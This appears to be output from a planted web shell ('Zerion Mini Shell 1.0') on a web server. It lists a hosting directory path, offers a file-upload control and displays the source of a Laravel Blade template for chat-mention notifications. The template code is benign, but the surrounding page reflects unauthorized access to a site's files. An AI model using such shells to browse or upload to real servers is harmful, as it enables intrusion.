ok

Mini Shell

Direktori : /home2/selectio/www/fms-worksuite/resources/views/notifications/all/
Upload File :
Current File : /home2/selectio/www/fms-worksuite/resources/views/notifications/all/new_mention_chat.blade.php

@php
$notificationUser = \App\Models\User::find($notification->data['user_one']);
if (!isset($notification->data['from_name'])) {
    $chat = \App\UserChat::with('fromUser')->find($notification->data['id']);
    $fromName = $chat->fromUser->name;
} else {
    $fromName = $notification->data['from_name'];
}
@endphp
@if ($notificationUser)
<x-cards.notification :notification="$notification"  :link="route('messages.index') . '?user=' . $notification->data['user_one']"
    :image="$notificationUser->image_url" :title="__('email.newChat.mentionSubject')" :text="$notificationUser->name"
    :time="$notification->created_at" />
@endif

Zerion Mini Shell 1.0